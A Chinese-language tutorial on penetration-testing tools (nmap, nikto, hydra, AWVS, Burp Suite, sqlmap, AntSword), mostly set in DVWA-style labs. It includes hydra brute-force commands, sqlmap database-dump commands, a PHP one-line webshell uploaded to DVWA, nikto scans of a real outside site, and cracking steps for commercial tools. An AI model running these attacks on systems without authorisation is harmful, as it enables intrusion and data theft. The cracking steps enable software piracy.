网络安全之工具集合
一、网络安全之工具集合
1.1 nmap扫描工具
nmap参考指南-中文版:https://nmap.org/man/zh/
- nmap:Network Mapper,是Linux下的网络扫描和嗅探工具包.
- 基本功能:
主机发现:检测目标主机是否在线;
端口扫描:检测端口状态和提供的服务;默认只扫描0-1024的端口;
版本侦测:检测端口提供服务的包或软件的版本信息;
操作系统侦测:检测主机使用的操作系统 - 常用命令:
参数 | 解释 |
---|---|
nmap -v XXX | 显示扫描过程 |
nmap -T时序选项 | -T0:非常慢的扫描,用于IDS逃避;-T1:缓慢的扫描,用于IDS逃避;-T2:降低速度以降低带宽的消耗,一般不常用;-T3:默认,根据目标的反应时间自动调整时间;-T4:快速扫描,常用扫描方式,常在很好的网络环境下进行扫描;-T5:急速扫描,这种扫描方式以牺牲准确度来提升扫描速度 |
nmap -A XXX | 全系统检测、启动脚本检测、扫描等 |
nmap -sS IP地址 | SYN扫描,使用最频繁,安全,快。SYN扫描是半开放扫描,它不打开一个完全的TCP连接(一个完整的TCP连接需要3次握手),执行速度快,效率高。优点:nmap发送SYN包到远程主机,但它不产生任何会话,目标主机几乎不会把连接记入系统日志,防止对方判断为扫描攻击。 |
nmap -sT IP地址 | 全连接扫描 |
nmap -Pn IP地址 | 扫描前不需要用ping命令,有些防火墙禁止ping命令,采用此参数可以绕过ping |
nmap -sV IP地址 | 对端口上的服务程序版本进行扫描 |
nmap -O IP地址 | 对主机的操作系统进行扫描 |
nmap -sA IP地址 | 检测哪些端口被屏蔽,用来穿透防火墙规则 |
nmap IP地址 -p <portnumber> | 对指定端口扫描,如1-65535,1433,135, 22, 80等 |
nmap IP地址段 | 对整个网段的主机进行扫描 |
nmap IP地址 -oX myscan.xml | 对扫描结果另存在myscan.xml,还有- oN/-oX/-oG:将报告写入文件,分别是Normal、XML、grepable三种格式 |
nmap -sP IP地址 | 仅仅对目标进行ping检测 |
nmap -iL IPtable.txt | 扫描txt文件中的IP地址 |
nmap 192.168.1.2 #单主机扫描
nmap 192.168.1.1/24 #子网扫描
nmao 192.168.1.1 192.168.1.10 #多主机扫描
nmap 192.168.1.1-100 #主机范围扫描
nmap -iL target.txt #IP地址列表扫描
nmap 192.168.1.1/24 --exclude 192.168.1.1 #扫描除指定IP外的所有子网主机
nmap 192.168.1.1/24 --exclude xxx.txt #扫描除文件中IP外的子网主机
nmap -p 80,21,23 192.168.1.1/24 #扫描主机上的特定主机
- 探测存活主机
-sP :进行ping扫描
打印出对ping扫描做出响应的主机,不做进一步测试(如端口扫描或者操作系统探测):
下面去扫描192.168.4/24这个网段的的主机
nmap -sP 192.168.1.2
-sn: Ping Scan - disable port scan #ping探测扫描主机, 不进行端口扫描 (测试过对方主机把icmp包都丢弃掉,依然能检测到对方开机状态)
nmap -sn 192.168.1.2
-sA
nmap 192.168.1.2 -sA (发送tcp的ack包进行探测,可以探测主机是否存活)
- 扫描全部端口
- oN/-oX/-oG:将报告写入文件,分别是Normal、XML、grepable三种格式
nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -iL liveHosts.txt
- 扫描常见端口及服务信息
nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt #操作系统扫描
nmap -sV -T4 -Pn -oG TopTCP -iL LiveHosts.txt #系统版本检测
1.2 nikto扫描工具
1.2.1 概念
- nikto是一个基于Perl语言开发的开源web安全扫描器,可以扫描搜索存在安全隐患的文件、服务器配置漏洞、WEB Application层面的安全隐患,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
- CGI漏洞是Common Gateway Interface(公用网关接口)的简称,并不特指一种语言。CGI语言漏洞分为配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。
- Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。
1.2.2 使用方法
命令 | 解释 |
---|---|
nikto | 查看帮助信息 |
man nikto | 查看详细帮助信息 |
man -H | 查看详细帮助信息 |
nikto -V | 查看工具和版本信息 |
nikto -host http://192.168.254.129/dvwa/ | 对192.168.254.129下的/dvwa/目录进行扫描(-host可简写为-h) |
nikto -host 192.168.254.129 -port 80 | 指定扫描192.168.254.129目标的80端口 |
nikto -host www.baidu.com -port 443 -ssl | 指定SSL协议对www.baidu.com进行HTTPS的扫描 |
nikto -host http://192.168.254.129 -c /dvwa | 指定对http://192.168.254.129网站下的dvwa子目录进行扫描 |
nikto -host list.txt | 扫描list文档里的目标 |
nmap -p80 192.168.254.0 -oG - | nikto -host - | 利用nmap扫描192.168.254.0网段下所有开启80端口的ip,并通过管道输出给nikto,使nikto自动扫描这些ip |
nikto -host https://www.baidu.com -useproxy http://localhost:8087 | nikto使用谷歌的某个代理扫描百度站点 |
nikto -host 192.168.0.105 -o result.html -F htm | 扫描结果以HTML格式输出到result.html文件中 |
- nikto# 查看帮助信息
- 若我们需要查看详细的帮助信息也可以输入nikto -H或 man nikto命令
- man nikto#查看详细帮助信息
- nikto -H #查看详细帮助信息
- nikto -V #查看工具和版本信息
- 我们可以使用nikto -host 目标ip(/文件)进行扫描
nikto -host http://192.168.254.129/dvwa/ #对192.168.254.129下的/dvwa/目录进行扫描
- 指定端口扫描
除了常规扫描,也可以在后面接 -port 端口号 指定对应端口进行扫描
nikto -host 192.168.254.129 -port 80#指定扫描192.168.254.129目标的80端口
- 指定协议扫描
同样,可以指定SSL协议,进行HTTPS扫描
nikto -host www.baidu.com -port 443 -ssl#指定SSL协议对www.baidu.com进行HTTPS的扫描
- 指定目录扫描
而如果我们只需要扫描某个网站下的子目录,我们也可以使用-c /目录 进行指定目录的扫描
nikto -host http://192.168.254.129 -c /dvwa#指定对http://192.168.254.129网站下的dvwa子目录进行扫描
- 多目标扫描
如果我们有多个目标需要扫描,我们可以将这些目标统统放入一个文档中,利用nikto -host +文本的方式进行多个目标的扫描
nikto -host list.txt #扫描list文档里的目标
- 配合namp利用管道输入扫描
同时,我们也可以配合Nmap进行统一网段开放相应端口的目标利用管道进行逐个扫描
nmap -p80 192.168.254.0 -oG - | nikto -host - #利用nmap扫描192.168.254.0网段下所有开启80端口的ip,并通过管道输出给nikto,使nikto自动扫描这些ip
- 利用代理扫描
知道有些很刑的看官有时不想暴露自己真实地址,nikto同样支持使用代理的方式进行扫描只需利用
-useproxy参数即可
nikto -host https://www.baidu.com -useproxy http://localhost:8087#nikto使用谷歌的某个代理扫描百度站点
- 支持的输出格式,以htm格式输出结果
-F:输出格式
-o:输出文件
html格式的输出结果
参考网址:https://blog.csdn.net/weixin_55772224/article/details/124063585
1.3 hydra暴力破解工具
- hydra是开源的暴力破解攻击,又名九头蛇。
1.3.1 hydra用法
参数 | 解释 |
---|---|
-l | 指定单个用户名, 适合在知道用户名的情况下爆破密码时使用 |
-L | 指定多个用户名, 参数值为存储用户名的文件(字典)的路径(建议为绝对路径) |
-p | 指定单个密码, 适合在知道密码的情况下爆破用户名时使用 |
-P | 指定多个密码, 参数值为存储密码的文件( 字典) 的路径(建议为绝对路径) |
-C | 当用户名和密码存储到一个文件时使用此参数。注意: 文件(字典) 存储的格式必须为" 用户名:密码" 的格式 |
-M | 指定多个攻击目标, 此参数为存储攻击目标的文件路径( 建议为绝对路径) 。注意: 列表文件存储格式必须为" 地址:端口" |
-f | 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 |
-s | 指定端口, 适用于攻击目标端囗非默认的情况, 例如http 服务使用非80 端口 |
-t | 指定爆破时的任务数量( 可以理解为线程数),默认为16 |
-v/-V | 显示爆破的详细信息 |
-w | 设置最大超时的时间,单位秒,默认是30s |
-o | 将破解成功的结果输出到文件中 |
1.3.2 hydra支持破解协议类型
POP3
SMB
RDP(远程桌面)
SSH
FTP
Telnet
MYSQL
1.3.3 hydra使用实例
爆破FTP服务器登录密码(已知用户名)
hydra -l admin -P /usr/passwd.txt ftp://192.168.31.134
爆破FTP服务器的用户名和密码①
hydra -L /usr/uname.txt -P /usr/passwd.txt ftp://192.168.31.134
爆破FTP服务器的用户名和密码②
hydra -C /usr/u_and_p.txt ftp://192.168.31.134
爆破远程桌面服务的用户名和密码
hydra -L /usr/uname.txt -P /usr/passwd.txt 192.168.31.134 rdp -f
(uname.txt、passwd.txt分别为用户名字典和密码字典)
1.4 漏洞扫描器之AWVS
1.4.1 AWVS
- Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它可以扫描任何通过Web浏览器访问和遵循HTTP/HTTPS规则的Web站点。它通过网络爬虫测试你的网站安全,检测流行安全漏洞。
- AWVS是一款Web漏洞扫描工具,通过网络爬虫测试网站安全,检测流行的Web应用攻击,如SQL注入攻击、XSS(跨站脚本攻击)、目录遍历、代码执行等漏洞来审核web应用程序的安全性并输出扫描报告。
- AWVS原理是基于漏洞匹配方法,通过网络爬虫测试你的网站安全,检测流行安全漏洞。
1.4.2 AWVS安装与破解
awvs14安装包及破解:https://pan.baidu.com/s/1EQJsamQNJ_ztdjAgvM_YxA
提取码:oyrs
- 有旧版本的首先卸载干净,下载资源后解压安装包点击此处开始安装:
2. Next:
3. 选择同意继续下一步:
4. 选择安装目录,最好不要在C盘:
5. data目录:
6. 这里设置的是账号密码后面登录会用到,Email就是登录账号,注意密码有复杂度需求最好字母数字符号相结合:
7. 这里设置的默认端口不变是3343,具体按个人需求修改:
8. 继续Next:
9. Install:
10. 如果有提示证书未安装的安装一下:
11. 安装完成后需要激活才能使用,解压awvs14补丁zip,所需激活文件都在此文件夹内:
12. 打开任务管理器-服务-右键停止Acunetix和Acunetix Database服务:
13. 把补丁文件夹中的license_info.json替换到你的安装目录\shared\license下:
14. 同样把wa_data.dat也同样复制到此处
15.最后把补丁文件夹中的wvsc.exe替换到安装目录/Acunetix/14.1.210316110下:
16. 启动刚才停止的两个服务:
17. 点击桌面图标或者在浏览器中输入https://localhost:3443/#/login进行登录:
18. 这里的账号密码就是你安装时注册的,点击Login登录:
登录成功!
1.5 渗透神器-Burpsuite
1.5.1 Burpsuite安装破解
- 电脑先安装java JDK;
- 先点击生成桌面快捷方式,然后再Burpsuite安装包里点击下图所示jar文件,点击完成后会弹出下图内容;
- 点击run会出现license,复制license;
- 双击生成的快捷方式,如下图所示,点击I Accept;
- 把License的内容,复制到Enter license key(如下图所示),然后再点击Next;
- 直接点击Manual activation,如下图所示;
- 复制红色方框中的内容,或者点击Copy request按钮;
- 把上图复制的内容填入Activation Request中,这时会自动生成Activation Response内容。
- 然后再把Activation Response中的内容复制出来。
- 把Activation Response中的内容复制到红色方框Paste Response中(如下图所示),再点击Next。
- 再点击Finish,就完成了。
1.5.2 Burpsuite代理抓包
- Burp Suite的工作流程是浏览器访问某个站点,先将发送给服务器的请求发送给Burp Suite处理。由Burp Suite来决定是发送这个请求还是修改或者拦截这个请求。Burp Suite默认监听的是本地(localhost或者127.0.0.1)的8080端口(如果端口被占用,可以修改),必须要让浏览器所有的数据包都经过127.0.0.1:8080。
- 默认代理服务器IP和端口为127.0.0.1:8080
- Firefox浏览器代理配置
- 打开设置;
- 找到网络设置;
- 默认不使用代理服务器,点击手动配置代理;
- 配置完成后,点击确定,在浏览器中访问页面的数据,就会被Burpsuite进行抓包;
- Chrome浏览器代理配置
- 点击设置->系统;
- 点击打开您计算机的代理设置;
- 点击手动设置代理,打开代理服务器,输入代理服务器IP和端口,
- 配置完成后,点击确定,在浏览器中访问页面的数据,就会被Burpsuite进行抓包;
1.5.3 Burpsuite代理抓包(下载https证书)
- 设置好代理之后,Firefox访问
http://burp
;
- 点击CA Certificate,下载证书cacert.der;
- 导入证书,点击Firefox设置->隐私与安全->证书->查看证书;
- 证书颁发机构->导入->选择刚才下载的cacert.der文件,查看到PortSwigger CA即证明导入成功,关闭浏览器重新打开就可以使用了;
- 就可以对https进行抓取了;
1.5.3 代理抓包快捷方式
- Firefox中设置->扩展和主题->搜索:
proxy switchomega
- 点击
proxy switchomega
- 点击添加到Firefox
- 代理IP和端口配置,点击应用选项;
- 配置完成后,点击页面右上角扩展按钮,可弹出proxy switchomega,选择刚配置的代理即可进完成。
- 选择代理,访问页面即可成功抓包;
1.5.4 Burpsuite模块介绍及应用
- dashboard:仪表盘,用于显示任务、日志信息;
- target: 提供显示目标目录结构的功能;
- proxy:拦截HTTP/s请求的代理服务器,作为web浏览器与服务器的中间人,允许拦截、修改数据流;
- intruder:入侵模块,提供高精度的可配置工具,可进行爆破攻击、获取信息以及使用fuzzing技术探测漏洞等;
- repeater:中继器,通过手动来触发单词HTTP请求,并分析应用程序的响应包;
- sequence:会话模块,用于分析那些不可预知的应用程序会话令牌和重要数据的随机性的工具;
- decoder:解码器;
- compare:对比模块,对数据进行差异化分析;
- extender:拓展模块,可以加载BP拓展模块和第三方代码;
- option:设置模块,可以设置项目、用户等信息。
1.6 sql注入神器-sqlmap
1.6.1 sql注入原理
- 通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段;
-
SQL注入分类
(1) 数字型
(2) 字符型
(3) 报错注入
(4) Boollean注入
(5) 时间注入 -
SQL注入思路
(1).判断是否存在注入,注入是字符型还是数字型
(2).猜解SQL查询语句中的字段数
(3).确定回显位置
(4).获取当前数据库
(5).获取数据库中的表
(6).获取表中的字段名
(7).得到数据 -
SQL注入绕过方法
(1)注释符号绕过
(2)大小写绕过
(3)内联注释绕过
(4)特殊编码绕过
(5)空格过滤绕过
(6)过滤or and xor not 绕过 -
SQL注入漏洞 定义:SQL注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
-
SQL注入漏洞原因:
(1)SQL 注入漏洞存在的原因,就是拼接SQL参数。也就是将用于输入的查询参数,直接拼接在SQL语句中,导致了SQL注入漏洞;
(2)web 开发人员无法保证所有的输入都已经过滤;
(3)攻击者利用发送给服务器的输入参数构造可执行的 SQL 代码(可加入到 get 请求、 post 谓求、 http 头信思、 cookie 中);
(4)数据库未做相应的安全配置; -
SQL注入漏洞危害
(1)猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
(2)绕过认证,列如绕过验证登录网站后台。
(3)注入可以借助数据库的存储过程进行提权等操作。
1.6.2 sqlmap介绍与安装
-
下载和使用
https://github.com/sqlmapproject/sqlmap
在Windows系统安装sqlmap,下载地址https://github.com/sqlmapproject/sqlmap或https://download.csdn.net/download/qq_40216188/87512973,下载为zip文件,进行解压,在下图所示页面中进入cmd,输入python sqlmap.py -参数
即可使用sqlmap工具。
-
中文手册
https://github.com/kvko/sqlmap-wiki-zhcn/releases
https://blog.csdn.net/wn314/article/details/78872828 -
sqlmap参数介绍
参数 | 描述 |
---|---|
-h | 查看基本用法及命令行参数 |
-hh | 查看所有用法及命令行参数 |
--version | 查看版本信息 |
-u | url网址 |
-m | 批量url,url存放到文本文件中,一行是一个url |
--dbs | 枚举所有数据库 |
--current-db | 枚举当前数据库 |
-D XXX | 上一步枚举出的数据库名为XXX |
–tables | 枚举数据表 |
-T XXX | 上一步枚举出的表明为XXX |
--columns | 枚举数据表的列名 |
-C XXX | 上一步枚举出的列名为XXX |
--dump | 脱库,即下载数据(慎用) |
- 检测URL是否存在注入漏洞
# 检测URL是否存在注入漏洞
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1"
上图表明,id的GET方法是存在sql注入漏洞的;
- 枚举所有数据库
# 枚举所有数据库
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1" --dbs
- 枚举当前网站所使用的数据库
# 枚举当前网站所使用的数据库
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1" --current-db
- 枚举数据表
# 枚举数据表
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1" -D htlab --tables
- 枚举表中的列名
# 枚举表中的列名
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1" -D htlab -T user --columns
- 脱库,下载数据
# 脱库,下载数据
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1" -D htlab -T user --C id, username, password --dump
# 或者下载表中全部数据
python sqlmap.py -u "http://120.27.61.239:8080/vulnlab/sqli/index.php?id=1" -D htlab -T user --dump --batch
1.7 中国蚁剑
1.7.1 安装
- 中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
- 参考网址:
1)安装资源:https://github.com/AntSwordProject/
2)使用说明:https://www.yuque.com/antswordproject/antsword
- 访问https://github.com/AntSwordProject/AntSword-Loader/releases网址下载加载器,如下图所示:
- 访问https://github.com/AntSwordProject/antSword网址下载源码:
- 下载完成如下所示:
- 进行解压:
- 点击exe进行安装:
- 新安装时会加载如下所示界面,点击初始化选择源码包antSword-master目录,初始化后会自动重启,再次打开就可以使用了。
- 选择如下路径:
1.7.2 使用
- 准备hk.php(一句话木马);
<?php
@eval($_POST['hack'])
?>
- 登录DWVA,上传此文件
- 使用蚁剑来连接获得webshell,打开蚁剑在空白处 右键 -->添加数据;
1)下图中URL地址获取方式:DVWA文件上传的URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/#
与上传成功显示的路径../../hackable/uploads/hk.php
进行拼接,去掉#
号变为http://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php
,然后在浏览器中打开此URLhttp://10.15.1.111/dvwa/vulnerabilities/upload/../../hackable/uploads/hk.php
,打开后URL会变为http://10.15.1.111/dvwa/hackable/uploads/hk.ph
,将此URL填写到蚁剑的URL中;
- 连接密码如下:
- 点击添加即可完成:
- 连接成功如下所示:
- 双击URL地址,进入渗透路径:
- 空白位置右键,新建文件:
- 查询新建文件,文件创建成功: